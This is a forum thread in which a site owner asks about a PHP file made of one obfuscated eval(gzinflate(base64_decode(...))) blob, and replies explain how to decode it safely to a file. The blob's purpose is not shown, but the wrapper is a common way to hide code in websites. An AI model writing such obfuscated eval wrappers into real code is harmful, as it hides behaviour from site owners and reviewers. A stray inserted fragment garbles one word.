Issue with PHP code

I spent an hour or more trying to d开发者_运维技巧ecode this:

<?php eval(stripslashes(gzinflate(base64_decode("vVZNj9MwEL0j8R9ML2kl2uwBrRB0WwmEhBBwWSSO0TR2G+86tmU77XZ/Pf5I2zR1kl1W0FM88+bZffM8yXLx+hWqf/M30ym6NXtGNBLSUME1mk6bgKUsJKI8ZxUm46R+0Kl2NTObSyZo2Sb8wjES6yjvCRmg326RzhWV5rAHbu1fZ81ekpuRIQ8mvYMthOjonLDnuFIRYykKYUTk0H2VebUW/Jk1mlFMVKOo8X/ScPQOybrkCOh5WhDAp+VK4P05u6P6ajFEod8KZEtLTLeI4ptR4RHTnUVEJHQcv4T8BDGOMx4j5AoCjyTqkioGdi2sFImD2/t/FtwQbi6P0MWeh4Ju9lPbdjLjsM1KwqsxKAX7ceKqgXKiEnSzQGtgmrxFiUNkFPtYUu9jKxObMgUpScZEDs7iR4RLkbwQPmBU5VhWZC0UCRCXh7Wp9/FLRvl91sbYE7AV5PdZvgpBTLVksM8KUZJjVYsJE2kKv7yyqx2w+zrLyQ5Zd3p72dNmITWeTCYfWyaNCxbxucgpsKjPz8pT26VFT7dr88eaHjFUzdbyZGSPCPfJ0C6ppZ1LQtkFoEKRtb0ZxsgPqRsXJa3KnVDYPmo9M9t0tKij6Biep7DoLL4TomQw48Q0SkMQGVLaPhrSz4BVJa285wwhiLzz+stL2FgZRau+jvYS+JyCx0c6y0XZKG4WhWerJYqo/sNeo5+wHRogpYW5uzQwQpqMvSPhknhwILxkGBx26RoFLv/PZ4HdkGyEokT/h4nQdZWbVy3aqYHxfeyXLgCL3Wjxd7f80nYR7HexEUPGZBbzBFN6qqc50jMOu/HIOvzKc4wDL7rDvQ4mX9kKytdinFSKJb7HVmhabpBW+QHkvIowluPE8WfUzQs/3UcImLmk4mBfRQcuPxg6T6Ml8EW7vuG/QGO/kBzupS8TdhSxB1t/KgF+gtzhownwsyQ/qfnu+v3D9RXgzGs/IP0B3BR+hFIv8Hz5Bw==")))); ?>

I want to add Google Analytics to the website but I don't have </head> because of this code. Any idea what is going on?

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Take the string, base64 decode it, then gzinflate it and strip the slashes.

Which is pretty much everything within the eval() function already. So, instead of eval, write it out to a file.

Make the changes you need, add slashes where needed (?), gzip it and base64 encode the result. Replace the above string with the end result.

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If i misunderstood, base64 encoded string isn't valid. Can you check here : http://www.motobit.com/util/base64-decoder-encoder.asp

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http://pastebin.com/N5ZaHpMW

And here's the code that powered that:

file_put_contents('temp.txt', stripslashes(gzinflate(base64_decode("vVZNj9MwEL0j8R9ML2kl2uwBrRB0WwmEhBBwWSSO0TR2G+86tmU77XZ/Pf5I2zR1kl1W0FM88+bZffM8yXLx+hWqf/M30ym6NXtGNBLSUME1mk6bgKUsJKI8ZxUm46R+0Kl2NTObSyZo2Sb8wjES6yjvCRmg326RzhWV5rAHbu1fZ81ekpuRIQ8mvYMthOjonLDnuFIRYykKYUTk0H2VebUW/Jk1mlFMVKOo8X/ScPQOybrkCOh5WhDAp+VK4P05u6P6ajFEod8KZEtLTLeI4ptR4RHTnUVEJHQcv4T8BDGOMx4j5AoCjyTqkioGdi2sFImD2/t/FtwQbi6P0MWeh4Ju9lPbdjLjsM1KwqsxKAX7ceKqgXKiEnSzQGtgmrxFiUNkFPtYUu9jKxObMgUpScZEDs7iR4RLkbwQPmBU5VhWZC0UCRCXh7Wp9/FLRvl91sbYE7AV5PdZvgpBTLVksM8KUZJjVYsJE2kKv7yyqx2w+zrLyQ5Zd3p72dNmITWeTCYfWyaNCxbxucgpsKjPz8pT26VFT7dr88eaHjFUzdbyZGSPCPfJ0C6ppZ1LQtkFoEKRtb0ZxsgPqRsXJa3KnVDYPmo9M9t0tKij6Biep7DoLL4TomQw48Q0SkMQGVLaPhrSz4BVJa285wwhiLzz+stL2FgZRau+jvYS+JyCx0c6y0XZKG4WhWerJYqo/sNeo5+wHRogpYW5uzQwQpqMvSPhknhwILxkGBx26RoFLv/PZ4HdkGyEokT/h4nQdZWbVy3aqYHxfeyXLgCL3Wjxd7f80nYR7HexEUPGZBbzBFN6qqc50jMOu/HIOvzKc4wDL7rDvQ4mX9kKytdinFSKJb7HVmhabpBW+QHkvIowluPE8WfUzQs/3UcImLmk4mBfRQcuPxg6T6Ml8EW7vuG/QGO/kBzupS8TdhSxB1t/KgF+gtzhownwsyQ/qfnu+v3D9RXgzGs/IP0B3BR+hFIv8Hz5Bw=="))));